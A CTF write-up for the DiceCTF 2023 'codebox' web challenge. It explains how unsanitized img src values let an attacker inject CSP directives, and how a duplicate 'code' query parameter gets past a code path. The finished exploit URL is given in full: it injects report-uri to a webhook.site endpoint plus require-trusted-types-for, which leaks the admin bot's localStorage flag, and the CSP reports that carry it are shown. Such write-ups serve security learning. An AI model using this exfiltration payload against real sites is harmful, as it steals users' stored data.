ol/iv/ia / writeups / 2023 / dice / codebox

This is a writeup for codebox, a web challenge from DiceCTF 2023. It was written by EhhThing and has the description:
strellic makes csp challs, maybe i should try one sometime
In addition, there are provided links to a hosted Node instance (https://codebox.mc.ax; not linked because it might be gone by the time you read this) and an admin bot that will navigate to any link beginning with that domain.

The server code is provided, and has also been released publically here following the end of the contest; the relevant code will be reproduced here. This is the provided HTML (or at least, the relevant part):
<body>
  <div id="content">
    <h1>codebox</h1>
    <p>Codebox lets you test your own HTML in a sandbox!</p>
    <br>
    <form action="/" method="GET">
        <textarea name="code" id="code"></textarea>
        <br><br>
        <button>Create</button>
    </form>
    <br>
    <br>
  </div>
  <div id="flag"></div>
</body>
<script>
  const code = new URL(window.location.href).searchParams.get('code');
  if (code) {
      const frame = document.createElement('iframe');
      frame.srcdoc = code;
      frame.sandbox = '';
      frame.width = '100%';
      document.getElementById('content').appendChild(frame);
      document.getElementById('code').value = code; 
  }

  const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
  document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
</script>
And this is the single endpoint exposed by the server, which serves the above HTML:
const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');

const box = require('fs').readFileSync('box.html', 'utf-8');

fastify.get('/', (req, res) => {
    const code = req.query.code;
    const images = [];

    if (code) {
        const parsed = HTMLParser.parse(code);
        for (let img of parsed.getElementsByTagName('img')) {
            let src = img.getAttribute('src');
            if (src) {
                images.push(src);
            }
        }
    }

    const csp = [
        "default-src 'none'",
        "style-src 'unsafe-inline'",
        "script-src 'unsafe-inline'",
    ];

    if (images.length) {
        csp.push(`img-src ${images.join(' ')}`);
    }

    res.header('Content-Security-Policy', csp.join('; '));

    res.type('text/html');
    return res.send(box);
});

fastify.listen({ host: '0.0.0.0', port: 8080 });

Initial thoughts

The "codebox" is a sandboxed iframe whose contents we can control entirely via the code query parameter, and outside of the server's endpoint, that's really about all we have to work with.

Scanning through the challenge setup and code, we can identify a few things that stick out: The admin bot behaviour is something we can take at face value; we're (almost) never expected to hack the admin bot in a challenge, and the HTML inline script suggests that the flag will be in the admin bot's local storage. Thus, we start by taking a deeper look at the other two points of interest.

Breaking the CSP header

We'll begin with this one first, because it only requires looking at the existing code. The csp array is used to create a header by joining together its elements with a "; " string. There's a way to add directives to the array by using <img> tags in our input, which the server then adds img-src directives for, ostensibly to allow fetching images. But the HTML parser only gets the image sources, and doesn't sanitize them! It's sort of like a SQL injection, where not checking for a delimiter means you can end something before you're supposed to and add whatever you want. In other words, if we were to, say, put a semicolon in an image source, the server will happily add it to the header:



(For the average grass-touching fans, this is simply a convoluted way of showing that if we include <img src="*; any-csp-directive-we-want *;" /> in our payload, the server will give us back a CSP header containing the arbitrary directives.)

Now, this doesn't immediately get us the flag; we can't add additional headers or hijack the response entirely, because Node will refuse to send a response if it sees a CR or LF in a header value. This makes sense, otherwise header injection in general would be trivial.

We're restricted to adding directives in the CSP header, which is certainly better than nothing, so we'll come back to this when we have a better idea of what directives to add.

Trying to escape the sandbox

As is usually the case with web challenges, we'll find ourselves reading through a lot of MDN pages. The first interesting one here describes how using unsafe-inline is a really bad idea, because it allows any injected inline scripts to be executed. This happens to be the exact value used by the server for script-src, so maybe we can run a script and be basically done??



Haha, nope. (Side note: the above screenshot was taken on Chromium, because Firefox doesn't even bother telling you that it blocked the script execution.)

Note that our previous discovery of being able to add anything to the CSP header doesn't help, because that error comes from the sandbox attribute of the iframe. That link includes a worryingly long (in this context) list that details all the things we cannot do, which includes running scripts. No matter what CSP directive we can add, the browser will respect the sandbox attribute first. And the only way to remove the attribute dynamically would be to use a script...which obviously isn't possible.

We ended up spending quite a bit of time on this, because it seemed like all we had to do was somehow remove the sandbox attribute from the iframe, which would allow us to get the flag. The CSP sandbox directive looked promising, and allowing enough things prompts Chromium to say "An iframe which has both allow-scripts and allow-same-origin for its sandbox attribute can remove its sandboxing", but the script execution still refuses to work. That is, we were hoping that the CSP directive would override the HTML attribute, but that wasn't happening.

Actually, why take our word for it when you can take a stab at it yourself?





You might be stuck for a while (or forever) if you try to run a script in the iframe.

Meanwhile, the insight that got us back on the right track was the relative simplicity of the challenge's code, and went something like this: (J and M are entirely made-up names that are definitely not correlated to the author/s of this writeup.)

One Hundred Years of Reading MDN Docs

There's not much to say here other than that we eventually came across this, which looks innocuous at first, but in fact has a big use this for exfil sign on it. Because this report-to directive makes an external request outside of the confines of the iframe, it'll be an important tool for the final solve.

A proof of concept shows that a) you actually have to use report-uri, even though MDN says it's "deprecated", and report-to doesn't work, so alright, whatever you say Mozilla, and b) hey it works:



Obviously, we'll need to do something other than block all image sources and then try to fetch an image, but we do get a JSON sent out to a webhook containing the following data:
{
  "csp-report": {
    "document-uri": "about",
    "referrer": "",
    "violated-directive": "img-src",
    "effective-directive": "img-src",
    "original-policy": "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src 'none'; report-uri https://webhook.site/e1c05ef3-d984-4b28-9188-f2ee50415cb8 this-is-a-csp-violation",
    "disposition": "enforce",
    "blocked-uri": "https://codebox.mc.ax/this-is-a-csp-violation",
    "status-code": 0,
    "script-sample": ""
  }
}
The script-sample field is empty, but MDN describes it as such:
The first 40 characters of the inline script, event handler, or style that caused the violation. Only applicable to script-src* and style-src* violations, when they contain the 'report-sample'
This is very promising, and we can formulate a plan. If we can find an appropriate CSP directive to violate, and make the line of code that sets the contents of the flag div violate it, then we might be able to see the flag in the script-sample field of the violation report?

Executing the plan (maybe)

Somewhat conveniently, the CSP directive listed immediately after report-uri is one called require-trusted-types-for, which has this description:
The HTTP Content-Security-Policy (CSP) require-trusted-types-for directive instructs user agents to control the data passed to DOM XSS sink functions, like Element.innerHTML setter.
Wow, the given example is exactly what we want! So we'll use this directive, the line that sets innerHTML to the flag contents will violate it, and we'll get the flag...right? We end up getting this payload:
{
  "csp-report": {
    "document-uri": "https://codebox.mc.ax/?code=%3Cimg+src%3D%22*%3B+report-uri+https%3A%2F%2Fwebhook.site%2Fe1c05ef3-d984-4b28-9188-f2ee50415cb8%3B+require-trusted-types-for+%27script%27%3B%22+%2F%3E",
    "referrer": "https://codebox.mc.ax/",
    "violated-directive": "require-trusted-types-for",
    "effective-directive": "require-trusted-types-for",
    "original-policy": "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src *; report-uri https://webhook.site/e1c05ef3-d984-4b28-9188-f2ee50415cb8; require-trusted-types-for 'script';",
    "disposition": "enforce",
    "blocked-uri": "trusted-types-sink",
    "line-number": 50,
    "column-number": 22,
    "source-file": "https://codebox.mc.ax/",
    "status-code": 200,
    "script-sample": "HTMLIFrameElement srcdoc|<img src=\"*; report-uri https://webhook."
  }
}
...which is not what we want, because the flag is nowhere to be seen. It turns out setting frame.srcdoc is also a violation.

Again, the simplicity of the code saved a lot of time here; that line of code is only run if code isn't empty...or more specifically, if the browser didn't parse it as empty. That parameter must be parsed as non-empty by the Node server code in order for the directive injection to work, but what if they disagreed? That is, what if we sent some non-standard input and the browser and Node handled it differently? Lots of previous web challenge experience also helps here - it helps you realize that trying query params with the same key, with square brackets, with very long strings, etc. is always a good idea.

It turns out that the manual fuzzing of sorts was a huge success - adding a second query param with key code makes the browser accept the first one that was given, while the fastify module takes the second one. Thus, all we have to do is begin the query string with code=&, and...
{
  "csp-report": {
    "document-uri": "https://codebox.mc.ax/?code=&code=%3Cimg+src%3D%22*%3B+report-uri+https%3A%2F%2Fwebhook.site%2Fe1c05ef3-d984-4b28-9188-f2ee50415cb8%3B+require-trusted-types-for+%27script%27%3B%22+%2F%3E",
    "referrer": "",
    "violated-directive": "require-trusted-types-for",
    "effective-directive": "require-trusted-types-for",
    "original-policy": "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src *; report-uri https://webhook.site/e1c05ef3-d984-4b28-9188-f2ee50415cb8; require-trusted-types-for 'script';",
    "disposition": "enforce",
    "blocked-uri": "trusted-types-sink",
    "line-number": 58,
    "column-number": 47,
    "source-file": "https://codebox.mc.ax/",
    "status-code": 200,
    "script-sample": "Element innerHTML|<h1>flag{test_flag}</h1>"
  }
}
it works!

Flag time and conclusion

We make the admin bot navigate to the following URL (where the webhook.site endpoint is obviously subject to change):
https://codebox.mc.ax/?code=&code=%3Cimg+src%3D%22*%3B+report-uri+https%3A%2F%2Fwebhook.site%2Fe1c05ef3-d984-4b28-9188-f2ee50415cb8%3B+require-trusted-types-for+%27script%27%3B%22+%2F%3E
which comprises of injected report-uri and require-trusted-types-for CSP directives, and a dummy code param to bypass a code block. We get the following data sent to our webhook:
{
  "csp-report": {
    "document-uri": "https://codebox.mc.ax/?code=&code=%3Cimg+src%3D%22*%3B+report-uri+https%3A%2F%2Fwebhook.site%2Fe1c05ef3-d984-4b28-9188-f2ee50415cb8%3B+require-trusted-types-for+%27script%27%3B%22+%2F%3E",
    "referrer": "",
    "violated-directive": "require-trusted-types-for",
    "effective-directive": "require-trusted-types-for",
    "original-policy": "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src *; report-uri https://webhook.site/e1c05ef3-d984-4b28-9188-f2ee50415cb8; require-trusted-types-for 'script';",
    "disposition": "enforce",
    "blocked-uri": "trusted-types-sink",
    "line-number": 58,
    "column-number": 47,
    "source-file": "https://codebox.mc.ax/",
    "status-code": 200,
    "script-sample": "Element innerHTML|<h1>dice{i_als0_wr1te_csp_bypasses}\n</h1"
  }
}
and we're done. Note that it's very important that the flag text not be much longer, otherwise it'd get cut off.

We found this challenge enjoyable, because it was quite challenging despite not having a large codebase, and everything that we identified as potentially relevant ended up being important to the solve. Also, it demonstrates an important concept: just because you've created something secure for your own use (e.g. setting the text of a sandboxed iframe), you're not safe from other people misusing your work (e.g. allowing a header to exfiltrate the contents of the text). 🧅